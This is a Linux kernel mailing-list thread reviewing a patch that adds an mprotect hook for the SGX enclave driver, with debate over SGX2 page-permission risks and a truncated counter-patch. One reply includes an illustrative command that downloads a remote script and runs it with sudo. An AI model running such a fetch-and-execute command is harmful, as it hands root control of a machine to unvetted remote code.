[v40,10/24] mm: Add 'mprotect' hook to struct vm_operations_struct

Commit Message

Jarkko Sakkinen Nov. 4, 2020, 2:54 p.m. UTC

From: Sean Christopherson <[e-mail]>

Background
==========

1. SGX enclave pages are populated with data by copying from normal memory
   via ioctl() (SGX_IOC_ENCLAVE_ADD_PAGES), which will be added later in
   this series.
2. It is desirable to be able to restrict those normal memory data sources.
   For instance, to ensure that the source data is executable before
   copying data to an executable enclave page.
3. Enclave page permissions are dynamic (just like normal permissions) and
   can be adjusted at runtime with mprotect().

This creates a problem because the original data source may have long since
vanished at the time when enclave page permissions are established (mmap()
or mprotect()).

The solution (elsewhere in this series) is to force enclaves creators to
declare their paging permission *intent* up front to the ioctl().  This
intent can me immediately compared to the source data’s mapping and
rejected if necessary.

The “intent” is also stashed off for later comparison with enclave
PTEs. This ensures that any future mmap()/mprotect() operations
performed by the enclave creator or done on behalf of the enclave
can be compared with the earlier declared permissions.

Problem
=======

There is an existing mmap() hook which allows SGX to perform this
permission comparison at mmap() time.  However, there is no corresponding
->mprotect() hook.

Solution
========

Add a vm_ops->mprotect() hook so that mprotect() operations which are
inconsistent with any page's stashed intent can be rejected by the driver.

Cc: [e-mail]
Cc: Andrew Morton <[e-mail]>
Cc: Matthew Wilcox <[e-mail]>
Acked-by: Jethro Beekman <[e-mail]>
Reviewed-by: Darren Kenny <[e-mail]>
Signed-off-by: Sean Christopherson <[e-mail]>
Co-developed-by: Jarkko Sakkinen <[e-mail]>
Signed-off-by: Jarkko Sakkinen <[e-mail]>
---
 include/linux/mm.h | 3 +++
 mm/mprotect.c      | 5 ++++-
 2 files changed, 7 insertions(+), 1 deletion(-)

Comments

Borislav Petkov Nov. 5, 2020, 4:04 p.m. UTC | #1

On Wed, Nov 04, 2020 at 04:54:16PM +0200, Jarkko Sakkinen wrote:
> From: Sean Christopherson <[e-mail]>
> 
> Background
> ==========
> 
> 1. SGX enclave pages are populated with data by copying from normal memory
>    via ioctl() (SGX_IOC_ENCLAVE_ADD_PAGES), which will be added later in
>    this series.
> 2. It is desirable to be able to restrict those normal memory data sources.
>    For instance, to ensure that the source data is executable before
>    copying data to an executable enclave page.
> 3. Enclave page permissions are dynamic (just like normal permissions) and
>    can be adjusted at runtime with mprotect().
> 
> This creates a problem because the original data source may have long since
> vanished at the time when enclave page permissions are established (mmap()
> or mprotect()).
> 
> The solution (elsewhere in this series) is to force enclaves creators to
> declare their paging permission *intent* up front to the ioctl().  This
> intent can me immediately compared to the source data’s mapping and
> rejected if necessary.
> 
> The “intent” is also stashed off for later comparison with enclave
> PTEs. This ensures that any future mmap()/mprotect() operations
> performed by the enclave creator or done on behalf of the enclave
> can be compared with the earlier declared permissions.
> 
> Problem
> =======
> 
> There is an existing mmap() hook which allows SGX to perform this
> permission comparison at mmap() time.  However, there is no corresponding
> ->mprotect() hook.
> 
> Solution
> ========
> 
> Add a vm_ops->mprotect() hook so that mprotect() operations which are
> inconsistent with any page's stashed intent can be rejected by the driver.
> 
> Cc: [e-mail]
> Cc: Andrew Morton <[e-mail]>
> Cc: Matthew Wilcox <[e-mail]>
> Acked-by: Jethro Beekman <[e-mail]>
> Reviewed-by: Darren Kenny <[e-mail]>
> Signed-off-by: Sean Christopherson <[e-mail]>
> Co-developed-by: Jarkko Sakkinen <[e-mail]>
> Signed-off-by: Jarkko Sakkinen <[e-mail]>
> ---
>  include/linux/mm.h | 3 +++
>  mm/mprotect.c      | 5 ++++-
>  2 files changed, 7 insertions(+), 1 deletion(-)

This needs an ACK from an mm person.

Dave Hansen Nov. 5, 2020, 5:33 p.m. UTC | #2

On 11/5/20 8:04 AM, Borislav Petkov wrote:
...
>> Add a vm_ops->mprotect() hook so that mprotect() operations which are
>> inconsistent with any page's stashed intent can be rejected by the driver.
>>
>> Cc: [e-mail]
>> Cc: Andrew Morton <[e-mail]>
>> Cc: Matthew Wilcox <[e-mail]>
>> Acked-by: Jethro Beekman <[e-mail]>
>> Reviewed-by: Darren Kenny <[e-mail]>
>> Signed-off-by: Sean Christopherson <[e-mail]>
>> Co-developed-by: Jarkko Sakkinen <[e-mail]>
>> Signed-off-by: Jarkko Sakkinen <[e-mail]>
>> ---
>>  include/linux/mm.h | 3 +++
>>  mm/mprotect.c      | 5 ++++-
>>  2 files changed, 7 insertions(+), 1 deletion(-)
> This needs an ACK from an mm person.

For what it's worth:

Acked-by: Dave Hansen <[e-mail]>

The top 5 git-blamees in terms of mprotect.c at the moment are:

     45 Andi Kleen
     50 Peter Xu
     81 Dave Hansen
     90 Mel Gorman
    209 Linus Torvalds

Mel Gorman Nov. 6, 2020, 10:04 a.m. UTC | #3

On Wed, Nov 04, 2020 at 04:54:16PM +0200, Jarkko Sakkinen wrote:
> From: Sean Christopherson <[e-mail]>
> 
> Background
> ==========
> 
> 1. SGX enclave pages are populated with data by copying from normal memory
>    via ioctl() (SGX_IOC_ENCLAVE_ADD_PAGES), which will be added later in
>    this series.
> 2. It is desirable to be able to restrict those normal memory data sources.
>    For instance, to ensure that the source data is executable before
>    copying data to an executable enclave page.
> 3. Enclave page permissions are dynamic (just like normal permissions) and
>    can be adjusted at runtime with mprotect().
> 
> This creates a problem because the original data source may have long since
> vanished at the time when enclave page permissions are established (mmap()
> or mprotect()).
> 
> The solution (elsewhere in this series) is to force enclaves creators to
> declare their paging permission *intent* up front to the ioctl().  This
> intent can me immediately compared to the source data???s mapping and
> rejected if necessary.
> 
> The ???intent??? is also stashed off for later comparison with enclave
> PTEs. This ensures that any future mmap()/mprotect() operations
> performed by the enclave creator or done on behalf of the enclave
> can be compared with the earlier declared permissions.
> 
> Problem
> =======
> 
> There is an existing mmap() hook which allows SGX to perform this
> permission comparison at mmap() time.  However, there is no corresponding
> ->mprotect() hook.
> 
> Solution
> ========
> 
> Add a vm_ops->mprotect() hook so that mprotect() operations which are
> inconsistent with any page's stashed intent can be rejected by the driver.
> 

I have not read the series so this is superficial only. That said...

> Cc: [e-mail]
> Cc: Andrew Morton <[e-mail]>
> Cc: Matthew Wilcox <[e-mail]>
> Acked-by: Jethro Beekman <[e-mail]>
> Reviewed-by: Darren Kenny <[e-mail]>
> Signed-off-by: Sean Christopherson <[e-mail]>
> Co-developed-by: Jarkko Sakkinen <[e-mail]>
> Signed-off-by: Jarkko Sakkinen <[e-mail]>
> ---
>  include/linux/mm.h | 3 +++
>  mm/mprotect.c      | 5 ++++-
>  2 files changed, 7 insertions(+), 1 deletion(-)
> 
> diff --git a/include/linux/mm.h b/include/linux/mm.h
> index ef360fe70aaf..eb38eabc5039 100644
> --- a/include/linux/mm.h
> +++ b/include/linux/mm.h
> @@ -559,6 +559,9 @@ struct vm_operations_struct {
>  	void (*close)(struct vm_area_struct * area);
>  	int (*split)(struct vm_area_struct * area, unsigned long addr);
>  	int (*mremap)(struct vm_area_struct * area);
> +	int (*mprotect)(struct vm_area_struct *vma,
> +			struct vm_area_struct **pprev, unsigned long start,
> +			unsigned long end, unsigned long newflags);

The first user of this uses the following information

	ret = sgx_encl_may_map(vma->vm_private_data, start, end, newflags);

It only needs start, end and newflags. The pprev is passed in so the
hook can call mprotect_fixup() which is redundant as the caller knows it
should do that. I don't think an arbitrary driver should be responsible
for poking too much into the mm internals to do the fixup because we do
not know what other users of this hook might require in the future.

Hence, I would suggest that the hook receive the minimum possible
information to do the permissions check for the first in-tree user. If
it returns without failure then mm/mprotect.c would always do the fixup.

>  	vm_fault_t (*fault)(struct vm_fault *vmf);
>  	vm_fault_t (*huge_fault)(struct vm_fault *vmf,
>  			enum page_entry_size pe_size);
> diff --git a/mm/mprotect.c b/mm/mprotect.c
> index 56c02beb6041..1fd4fa71ce16 100644
> --- a/mm/mprotect.c
> +++ b/mm/mprotect.c
> @@ -616,7 +616,10 @@ static int do_mprotect_pkey(unsigned long start, size_t len,
>  		tmp = vma->vm_end;
>  		if (tmp > end)
>  			tmp = end;
> -		error = mprotect_fixup(vma, &prev, nstart, tmp, newflags);
> +		if (vma->vm_ops && vma->vm_ops->mprotect)
> +			error = vma->vm_ops->mprotect(vma, &prev, nstart, tmp, newflags);
> +		else
> +			error = mprotect_fixup(vma, &prev, nstart, tmp, newflags);

That would then become

if (vma->vm_ops && vma->vm_ops->mprotect)
	error = vma->vm_ops->mprotect(vma, &prev, nstart, tmp, newflags);
if (!error)
	error = mprotect_fixup(vma, &prev, nstart, tmp, newflags);

and mprotect_fixup would be removed from the driver.

While vm_operations_struct has borderline zero documentation, a hook for
one in-kernel user should have a comment explaining what the semantics
of the hook is -- what is it responsible for (permission check), what
can it change (nothing), etc. Maybe something like

	/*
	 * Called by mprotect in the event driver-specific permission
	 * checks need to be made before the mprotect is finalised.
	 * No modifications should be done to the VMA, returns 0
	 * if the mprotect is permitted.
	 */
	int (*mprotect)(struct vm_area_struct *vma,
		unsigned long start, unsigned long end,
		unsigned long newflags);

If a future driver *does* need to poke deeper into the VM for mprotect
then at least they'll have to explain why that's a good idea.

Jarkko Sakkinen Nov. 6, 2020, 4:51 p.m. UTC | #4

On Fri, Nov 06, 2020 at 10:04:09AM +0000, Mel Gorman wrote:
> On Wed, Nov 04, 2020 at 04:54:16PM +0200, Jarkko Sakkinen wrote:
> > From: Sean Christopherson <[e-mail]>
> > 
> > Background
> > ==========
> > 
> > 1. SGX enclave pages are populated with data by copying from normal memory
> >    via ioctl() (SGX_IOC_ENCLAVE_ADD_PAGES), which will be added later in
> >    this series.
> > 2. It is desirable to be able to restrict those normal memory data sources.
> >    For instance, to ensure that the source data is executable before
> >    copying data to an executable enclave page.
> > 3. Enclave page permissions are dynamic (just like normal permissions) and
> >    can be adjusted at runtime with mprotect().
> > 
> > This creates a problem because the original data source may have long since
> > vanished at the time when enclave page permissions are established (mmap()
> > or mprotect()).
> > 
> > The solution (elsewhere in this series) is to force enclaves creators to
> > declare their paging permission *intent* up front to the ioctl().  This
> > intent can me immediately compared to the source data???s mapping and
> > rejected if necessary.
> > 
> > The ???intent??? is also stashed off for later comparison with enclave
> > PTEs. This ensures that any future mmap()/mprotect() operations
> > performed by the enclave creator or done on behalf of the enclave
> > can be compared with the earlier declared permissions.
> > 
> > Problem
> > =======
> > 
> > There is an existing mmap() hook which allows SGX to perform this
> > permission comparison at mmap() time.  However, there is no corresponding
> > ->mprotect() hook.
> > 
> > Solution
> > ========
> > 
> > Add a vm_ops->mprotect() hook so that mprotect() operations which are
> > inconsistent with any page's stashed intent can be rejected by the driver.
> > 
> 
> I have not read the series so this is superficial only. That said...
> 
> > Cc: [e-mail]
> > Cc: Andrew Morton <[e-mail]>
> > Cc: Matthew Wilcox <[e-mail]>
> > Acked-by: Jethro Beekman <[e-mail]>
> > Reviewed-by: Darren Kenny <[e-mail]>
> > Signed-off-by: Sean Christopherson <[e-mail]>
> > Co-developed-by: Jarkko Sakkinen <[e-mail]>
> > Signed-off-by: Jarkko Sakkinen <[e-mail]>
> > ---
> >  include/linux/mm.h | 3 +++
> >  mm/mprotect.c      | 5 ++++-
> >  2 files changed, 7 insertions(+), 1 deletion(-)
> > 
> > diff --git a/include/linux/mm.h b/include/linux/mm.h
> > index ef360fe70aaf..eb38eabc5039 100644
> > --- a/include/linux/mm.h
> > +++ b/include/linux/mm.h
> > @@ -559,6 +559,9 @@ struct vm_operations_struct {
> >  	void (*close)(struct vm_area_struct * area);
> >  	int (*split)(struct vm_area_struct * area, unsigned long addr);
> >  	int (*mremap)(struct vm_area_struct * area);
> > +	int (*mprotect)(struct vm_area_struct *vma,
> > +			struct vm_area_struct **pprev, unsigned long start,
> > +			unsigned long end, unsigned long newflags);
> 
> The first user of this uses the following information
> 
> 	ret = sgx_encl_may_map(vma->vm_private_data, start, end, newflags);
> 
> It only needs start, end and newflags. The pprev is passed in so the
> hook can call mprotect_fixup() which is redundant as the caller knows it
> should do that. I don't think an arbitrary driver should be responsible
> for poking too much into the mm internals to do the fixup because we do
> not know what other users of this hook might require in the future.
> 
> Hence, I would suggest that the hook receive the minimum possible
> information to do the permissions check for the first in-tree user. If
> it returns without failure then mm/mprotect.c would always do the fixup.
> 
> >  	vm_fault_t (*fault)(struct vm_fault *vmf);
> >  	vm_fault_t (*huge_fault)(struct vm_fault *vmf,
> >  			enum page_entry_size pe_size);
> > diff --git a/mm/mprotect.c b/mm/mprotect.c
> > index 56c02beb6041..1fd4fa71ce16 100644
> > --- a/mm/mprotect.c
> > +++ b/mm/mprotect.c
> > @@ -616,7 +616,10 @@ static int do_mprotect_pkey(unsigned long start, size_t len,
> >  		tmp = vma->vm_end;
> >  		if (tmp > end)
> >  			tmp = end;
> > -		error = mprotect_fixup(vma, &prev, nstart, tmp, newflags);
> > +		if (vma->vm_ops && vma->vm_ops->mprotect)
> > +			error = vma->vm_ops->mprotect(vma, &prev, nstart, tmp, newflags);
> > +		else
> > +			error = mprotect_fixup(vma, &prev, nstart, tmp, newflags);
> 
> That would then become
> 
> if (vma->vm_ops && vma->vm_ops->mprotect)
> 	error = vma->vm_ops->mprotect(vma, &prev, nstart, tmp, newflags);
> if (!error)
> 	error = mprotect_fixup(vma, &prev, nstart, tmp, newflags);
> 
> and mprotect_fixup would be removed from the driver.
> 
> While vm_operations_struct has borderline zero documentation, a hook for
> one in-kernel user should have a comment explaining what the semantics
> of the hook is -- what is it responsible for (permission check), what
> can it change (nothing), etc. Maybe something like
> 
> 	/*
> 	 * Called by mprotect in the event driver-specific permission
> 	 * checks need to be made before the mprotect is finalised.
> 	 * No modifications should be done to the VMA, returns 0
> 	 * if the mprotect is permitted.
> 	 */
> 	int (*mprotect)(struct vm_area_struct *vma,
> 		unsigned long start, unsigned long end,
> 		unsigned long newflags);
> 
> If a future driver *does* need to poke deeper into the VM for mprotect
> then at least they'll have to explain why that's a good idea.

Both comments make sense to me. I'll refine this patch on Monday and
also "x86/sgx: Add SGX misc driver interface", which uses this callback.

Thanks a lot for valuable feedback!

> -- 
> Mel Gorman
> SUSE Labs

/Jarkko

Dr. Greg Nov. 6, 2020, 5:43 p.m. UTC | #5

On Wed, Nov 04, 2020 at 04:54:16PM +0200, Jarkko Sakkinen wrote:

Good morning, I hope the week has gone well for everyone.

> From: Sean Christopherson <[e-mail]>
> 
> Background
> ==========
> 
> 1. SGX enclave pages are populated with data by copying from normal memory
>    via ioctl() (SGX_IOC_ENCLAVE_ADD_PAGES), which will be added later in
>    this series.
> 2. It is desirable to be able to restrict those normal memory data sources.
>    For instance, to ensure that the source data is executable before
>    copying data to an executable enclave page.
> 3. Enclave page permissions are dynamic (just like normal permissions) and
>    can be adjusted at runtime with mprotect().

Only relevant on SGX2 hardware, see discussion below.

> This creates a problem because the original data source may have
> long since vanished at the time when enclave page permissions are
> established (mmap() or mprotect()).
>
> The solution (elsewhere in this series) is to force enclaves

I don't believe that enclaves should be plural in this context.

> creators to declare their paging permission *intent* up front to the
> ioctl().  This intent can me immediately compared to the source

The 'me' should be 'be' in the above line.

> data???s mapping and rejected if necessary.
>
> The ???intent??? is also stashed off for later comparison with
> enclave PTEs. This ensures that any future mmap()/mprotect()
> operations performed by the enclave creator or done on behalf of the
> enclave can be compared with the earlier declared permissions.

Just some further clarifications that should, arguably, be included in
the kernel documentation given their security implications.

The 900 pound primate in the room, that no one is acknowledging, is
that this technology was designed to not allow the operating system to
have any control over what it is doing.  In the mindset of kernel
developers, the operating system is the absolute authority on
security, so we find ourselves in a situation where the kernel needs
to try and work around this fact so any solutions will be imperfect at
best.

As I've noted before, this is actually a primary objective of enclave
authors, since one of the desires for 'Confidential Computing' is to
hide things like proprietary algorithms from the platform owners.  I
think the driver needs to acknowledge this fact and equip platform
owners with the simplest and most effective security solutions that
are available.

The only reason that mprotect protections are needed in this driver
are to close a security loophole on SGX2 hardware, ie. hardware that
supports the ENCLU[EMODPE] instruction.  This instruction allows an
enclave to modify page permissions that are encoded in the Enclave
Page Cache Metadata (EPCM) at initialization time.  In all likelihood,
this is going to be the only relevant hardware that this driver runs
on.

On SGX2 hardware, enclave based code can conspire with its untrusted
runtime to allow executable regions to have write permissions.  This
would allow the enclave to load and execute whatever code that it
pleases and that the operating system would have no visibility into
whatsoever.

The non-SGX2 platforms don't need mprotect protections since even if
they were to modify at the OS level their page permissions, any
attempts to access a page with modified permissions would be trapped
by the EPCM protections that are unmodifiable after the enclave has
been initialized.

In light of this, given the decision by the driver authors to not
fully equip the driver with EDMM support, the mprotect protection
requirements are straight forward and minimalistic.  All that is
needed is a binary valued variable, set on the command-line, that
either allows or denies anonymous code execution by an enclave,
ie. access to page protection changes after initialization.

The enclave page mapping callback is elegant but has little use if the
objective of all this is to allow the driver to enforce SGX1 semantics
on a platform that has SGX2 instruction support.  Save the elegant
solution until a reasoned arguement can be made as to what anyone
would actually be able to do with the per page permissions checks,
even on an EDMM capable driver.

I could go into detail on that issue as well but I hesitate to be an
insufferable bore.

I hope all of this is helpful.

Have a good weekend.

Dr. Greg

As always,
Dr. Greg Wettstein, Ph.D, Worker      Autonomously self-defensive
Enjellic Systems Development, LLC     IOT platforms and edge devices.
4206 N. 19th Ave.
Fargo, ND  58102
PH: 701-281-1686                      EMAIL: [e-mail]
------------------------------------------------------------------------------
"In the future, company names will be a 32-character hex string."
                                -- Bruce Schneier

Dave Hansen Nov. 6, 2020, 5:54 p.m. UTC | #6

On 11/6/20 9:43 AM, Dr. Greg wrote:
> In light of this, given the decision by the driver authors to not
> fully equip the driver with EDMM support, the mprotect protection
> requirements are straight forward and minimalistic.  All that is
> needed is a binary valued variable, set on the command-line, that
> either allows or denies anonymous code execution by an enclave,
> ie. access to page protection changes after initialization.

To that, I say NAK.  We need more flexibility than a boot-time-fixed,
system-wide switch.

Borislav Petkov Nov. 6, 2020, 8:37 p.m. UTC | #7

On Fri, Nov 06, 2020 at 06:51:07PM +0200, Jarkko Sakkinen wrote:
> Both comments make sense to me. I'll refine this patch on Monday and

And while you're at it, I'd suggest you refine the whole patchset and
send a full v41 instead:

- please audit all your Reviewed-by, Acked-by tags as to for what
versions of the patches they were given. If you've changed those patches
in the meantime, then all those tags are invalid and need to go.

- work in all the change requests

- fix the order of the patches so that each one builds

so that they can be taken cleanly into tip.

Thx.

Matthew Wilcox Nov. 6, 2020, 9:13 p.m. UTC | #8

On Fri, Nov 06, 2020 at 11:43:59AM -0600, Dr. Greg wrote:
> The 900 pound primate in the room, that no one is acknowledging, is
> that this technology was designed to not allow the operating system to
> have any control over what it is doing.  In the mindset of kernel
> developers, the operating system is the absolute authority on
> security, so we find ourselves in a situation where the kernel needs
> to try and work around this fact so any solutions will be imperfect at
> best.
> 
> As I've noted before, this is actually a primary objective of enclave
> authors, since one of the desires for 'Confidential Computing' is to
> hide things like proprietary algorithms from the platform owners.  I
> think the driver needs to acknowledge this fact and equip platform
> owners with the simplest and most effective security solutions that
> are available.

Or we need to not merge "technology" that subverts the owner of
the hardware.  Remember: root kit authors are inventive buggers.

Dave Hansen Nov. 6, 2020, 9:23 p.m. UTC | #9

On 11/6/20 1:13 PM, Matthew Wilcox wrote:
> On Fri, Nov 06, 2020 at 11:43:59AM -0600, Dr. Greg wrote:
>> The 900 pound primate in the room, that no one is acknowledging, is
>> that this technology was designed to not allow the operating system to
>> have any control over what it is doing.  In the mindset of kernel
>> developers, the operating system is the absolute authority on
>> security, so we find ourselves in a situation where the kernel needs
>> to try and work around this fact so any solutions will be imperfect at
>> best.
>>
>> As I've noted before, this is actually a primary objective of enclave
>> authors, since one of the desires for 'Confidential Computing' is to
>> hide things like proprietary algorithms from the platform owners.  I
>> think the driver needs to acknowledge this fact and equip platform
>> owners with the simplest and most effective security solutions that
>> are available.
> Or we need to not merge "technology" that subverts the owner of
> the hardware.  Remember: root kit authors are inventive buggers.

Machine owners have lots of ways to yield their own control of the
hardware.  One is:

	wget http://what-could-go-wrong.com -O foo.sh; sudo foo.sh

Another is to enable SGX in the BIOS.  You're giving up some level of
control and yielding it to the hardware.  If you don't trust the
hardware (aka. Intel), I'd stay far, far away from that BIOS option.

This mprotect() hook is trying to have the kernel enforce some rules
that yield *less* to enclave authors.  Once a rootkit is in play, the
kernel isn't going to be providing meaningful protection and I'd expect
that this hook is rather useless.

Jarkko Sakkinen Nov. 6, 2020, 10:04 p.m. UTC | #10

On Fri, Nov 06, 2020 at 09:37:25PM +0100, Borislav Petkov wrote:
> On Fri, Nov 06, 2020 at 06:51:07PM +0200, Jarkko Sakkinen wrote:
> > Both comments make sense to me. I'll refine this patch on Monday and
> 
> And while you're at it, I'd suggest you refine the whole patchset and
> send a full v41 instead:
> 
> - please audit all your Reviewed-by, Acked-by tags as to for what
> versions of the patches they were given. If you've changed those patches
> in the meantime, then all those tags are invalid and need to go.
> 
> - work in all the change requests
> 
> - fix the order of the patches so that each one builds
> 
> so that they can be taken cleanly into tip.
> 
> Thx.

OK, everything else is clear except change requests part I want to
check.

There has been a change request to update callback that made perfect
sense to me. Is there something else that I might have missed? Just
checking.

> -- 
> Regards/Gruss,
>     Boris.
> 
> https://people.kernel.org/tglx/notes-about-netiquette

/Jarkko

Borislav Petkov Nov. 6, 2020, 10:31 p.m. UTC | #11

On Sat, Nov 07, 2020 at 12:04:02AM +0200, Jarkko Sakkinen wrote:
> There has been a change request to update callback that made perfect
> sense to me. Is there something else that I might have missed? Just
> checking.

With "change requests" I mean the usual going through the replies to a
patchset and working in the changes people requested. Nothing special -
just the usual working in review feedback, that's it.

Thx.

Dr. Greg Nov. 7, 2020, 3:09 p.m. UTC | #12

On Fri, Nov 06, 2020 at 09:54:19AM -0800, Dave Hansen wrote:

Good morning, I hope the weekend is going well for everyone, beautiful
weather out here in West-Cental Minnesota.

> On 11/6/20 9:43 AM, Dr. Greg wrote:
> > In light of this, given the decision by the driver authors to not
> > fully equip the driver with EDMM support, the mprotect protection
> > requirements are straight forward and minimalistic.  All that is
> > needed is a binary valued variable, set on the command-line, that
> > either allows or denies anonymous code execution by an enclave,
> > ie. access to page protection changes after initialization.

> To that, I say NAK.  We need more flexibility than a boot-time-fixed,
> system-wide switch.

To be clear, I wasn't referring to a global yes/no option in the code
that implements the mprotect callout method in the
vm_operations_struct.  I was referring to the implementation of the
hook in the SGX driver code.

In all of these discussions there hasn't been a refutation of my point
that the only reason this hook is needed is to stop the potential for
anonymous code execution on SGX2 capable hardware.  So we will assume,
that while unspoken, this is the rationale for the hook.

If you are NAK'ing a global enable/disable in the driver code, I think
there needs to be a discussion of why the driver, in its current
state, needs anything other then a yes/no decision on mprotect after
enclave initialization is complete.

At this point in time the driver has no intention of supporting EDMM,
so the simple belt-and-suspenders approach is to deny mprotect on
enclave virtual memory after initialization.  Absent mprotect, the
hardware is perfectly capable of enforcing page permissions that are
only consistent with the initial mapping of the enclave.

If and when EDMM is implemented there might be a rationale for per
page mprotect interrogation.  I won't waste people's time here but I
believe a cogent arguement can be made that there is little utility,
even under EDMM, of making per page permission decisions rather then a
'yes/no' decision by the platform owner as to whether or not they want
to allow anonymous code execution.

Hopefully all of this is a useful clarification.

Have a good weekend.

Dr. Greg

As always,
Dr. Greg Wettstein, Ph.D, Worker      Autonomously self-defensive
Enjellic Systems Development, LLC     IOT platforms and edge devices.
4206 N. 19th Ave.
Fargo, ND  58102
PH: 701-281-1686                      EMAIL: [e-mail]
------------------------------------------------------------------------------
"If you ever teach a yodeling class, probably the hardest thing is to
 keep the students from just trying to yodel right off. You see, we build
 to that."
                                -- Jack Handey
                                   Deep Thoughts

Dr. Greg Nov. 7, 2020, 3:27 p.m. UTC | #13

On Fri, Nov 06, 2020 at 09:13:11PM +0000, Matthew Wilcox wrote:
> On Fri, Nov 06, 2020 at 11:43:59AM -0600, Dr. Greg wrote:
> > The 900 pound primate in the room, that no one is acknowledging, is
> > that this technology was designed to not allow the operating system to
> > have any control over what it is doing.  In the mindset of kernel
> > developers, the operating system is the absolute authority on
> > security, so we find ourselves in a situation where the kernel needs
> > to try and work around this fact so any solutions will be imperfect at
> > best.
> > 
> > As I've noted before, this is actually a primary objective of enclave
> > authors, since one of the desires for 'Confidential Computing' is to
> > hide things like proprietary algorithms from the platform owners.  I
> > think the driver needs to acknowledge this fact and equip platform
> > owners with the simplest and most effective security solutions that
> > are available.

> Or we need to not merge "technology" that subverts the owner of the
> hardware.  Remember: root kit authors are inventive buggers.

That will be an interesting philosophical argument for Linux moving
forward.  I've often stated that there is going to be a natural
political tension between the objectives of open-source and advances
in platform security.  By definition, advancing the latter will result
in technology that contrains what can be done with a platform.

It may have made more sense for the SGX driver to be mainline when the
technology was going to be ubiquitous.  Given the decision by Intel to
monetize the platform, by limiting its implementation to high end
server platforms, the case could be made that it is a driver best
supported by the distributions or cloud providers.

I'm neither for or against inclusion, I'm simply advocating that we
make informed decisions on the driver implementation that benefits the
user community.  FWIW, based on knowledge that has come from building
application stacks on top of the technology for a half decade now.

Have a good weekend.

Dr. Greg

As always,
Dr. Greg Wettstein, Ph.D, Worker      Autonomously self-defensive
Enjellic Systems Development, LLC     IOT platforms and edge devices.
4206 N. 19th Ave.
Fargo, ND  58102
PH: 701-281-1686                      EMAIL: [e-mail]
------------------------------------------------------------------------------
"Atilla The Hun's Maxim: If you're going to rape, pillage and burn, be sure
 to do things in that order."
                                -- P.J. Plauger
                                   Programming On Purpose

Dave Hansen Nov. 7, 2020, 7:16 p.m. UTC | #14

On 11/7/20 7:09 AM, Dr. Greg wrote:
> In all of these discussions there hasn't been a refutation of my point
> that the only reason this hook is needed is to stop the potential for
> anonymous code execution on SGX2 capable hardware.  So we will assume,
> that while unspoken, this is the rationale for the hook.

Unspoken?  See from the cover letter:

> 3. Enclave page permissions are dynamic (just like normal permissions) and
>    can be adjusted at runtime with mprotect().

I explicitly chose not to name the instructions, nor the exact version
of the SGX ISA that introduces them.  They're supported in the series,
and that's all that matters.

If you want to advocate for something different to be done, patches are
accepted.

Dr. Greg Nov. 12, 2020, 8:58 p.m. UTC | #15

On Sat, Nov 07, 2020 at 11:16:25AM -0800, Dave Hansen wrote:

Good afternoon, I hope the week is going well for everyone.

> On 11/7/20 7:09 AM, Dr. Greg wrote:
> > In all of these discussions there hasn't been a refutation of my point
> > that the only reason this hook is needed is to stop the potential for
> > anonymous code execution on SGX2 capable hardware.  So we will assume,
> > that while unspoken, this is the rationale for the hook.

> Unspoken?  See from the cover letter:

The complexity of the issues involved and the almost complete lack of
understanding of the technology in the Linux user community would
suggest that everyone would benefit from a more detailed explanation
of the issues at hand.

> > 3. Enclave page permissions are dynamic (just like normal permissions) and
> >    can be adjusted at runtime with mprotect().

> I explicitly chose not to name the instructions, nor the exact
> version of the SGX ISA that introduces them.  They're supported in
> the series, and that's all that matters.

When it comes to security issues and risk assessment it always seems
that more information is better, but of course opinions vary, wildly
it would seem in the case of this technology.

I've been told countless times in my career: "What happens if you get
hit by a bus".  I've tried to address those issues by generating
copious amounts of documentation on everything I do.  Having the
relevant issues with respect to the security considerations and
implications of this technology clearly documented would seem to
address the 'hit by a bus' issue for other developers that may need to
look at and understand the code down the road.

> If you want to advocate for something different to be done, patches
> are accepted.

I'm including a patch below that addresses the mprotect vulnerability
as simplistically as I believe it can be addressed and provides some
background information on the issues at hand.  I will let people more
wise then I am decide whether or not the world at large is worse off
for having the information available.

I tested this with our runtime, which is of a significantly different
design then Intel's.  After testing multiple adversarial approaches to
changing page permissions, I'm left struggling to understand what the
page walking code accomplishes, even in the case of mmap.

The ultimate decision with respect to allowed page permissions is
cryptographically encoded in the enclave measurement.  The enclave
won't initialize if changes are made to the desired EPCM permissions.
If an attempt is made to use mmap to alter those permissions at the OS
level they will be inhibited by the EPCM permission verifications.

If one reads the EDMM papers by the Intel engineering team that
designed the technology, they were very concerned about an enclave
having to agree to any virtual memory changes, hence the need for
ENCLU[EACCEPT] and ENCLU[EACCEPTCOPY].  In that respect the behavior
of ENCLU[EMODPE] is somewhat interesting in that it gives untrusted
userspace the ability to thwart the intentions of enclave code.

They may not, however, have had any other choice given that SGX was
designed as a virtual memory play in order to make it an 'easy'
add-on.

Given all of this, it seems to be the case that the only thing needed
to block anonymous code execution is to block mprotect on an
initialized enclave, which the attached patch does.  If and when the
driver supports EDMM there is, I believe, a very open question as to
what type of introspection capability the kernel should have.

More on that in a subsequent post/patch.

Have a good evening.

Dr. Greg

Cut here. -----------------------------------------------------------------
From 68cba86b0cb3c5917e8c42d83edd5220e2890bb1 Mon Sep 17 00:00:00 2001
From: "Dr. Greg" <[e-mail]>
Date: Thu, 12 Nov 2020 04:48:57 -0600
Subject: [PATCH] Unconditionally block mprotect of enclave memory.

In SGX there are two levels of memory protection, the classic
page table mechanism and SGX hardware based page protections
that are codified in the Enclave Page Cache Metadata.  A
successful memory access requires that both mechanisms agree
that the access is permitted.

In the initial implementation of SGX (SGX1), the page permissions
are immutable after the enclave is initialized.  Even if classic
page protections are modified via mprotect, any attempt to access
enclave memory with alternative permissions will be blocked.

One of the architectural changes implemented in the second
generation of SGX (SGX2) is the ability for page access
permissions to be dynamically manipulated after the enclave is
initialized.  This requires coordination between trusted code
running in the enclave and untrusted code using mprotect and
special ring-0 instructions.

One of the security threats associated with SGX2 hardware is that
enclave based code can conspire with its untrusted runtime to make
executable enclave memory writable.  This provides the opportunity for
completely anonymous code execution that the operating system has no
visibility into.

All that is needed to, simply, close this vulnerability is to
eliminate the ability to call mprotect against the virtual memory
range of an enclave after it is initialized.  Any mprotect changes
made prior to initialization that are inconsistent with the
permissions codified in the enclave will cause initialization and/or
access to fail.

Tested-by: Dr. Greg <[e-mail]>
Signed-off-by: Dr. Greg <[e-mail]>
---
 arch/x86/kernel/cpu/sgx/encl.c | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/arch/x86/kernel/cpu/sgx/encl.c b/arch/x86/kernel/cpu/sgx/encl.c
index 139f8c398685..c613482ebb56 100644
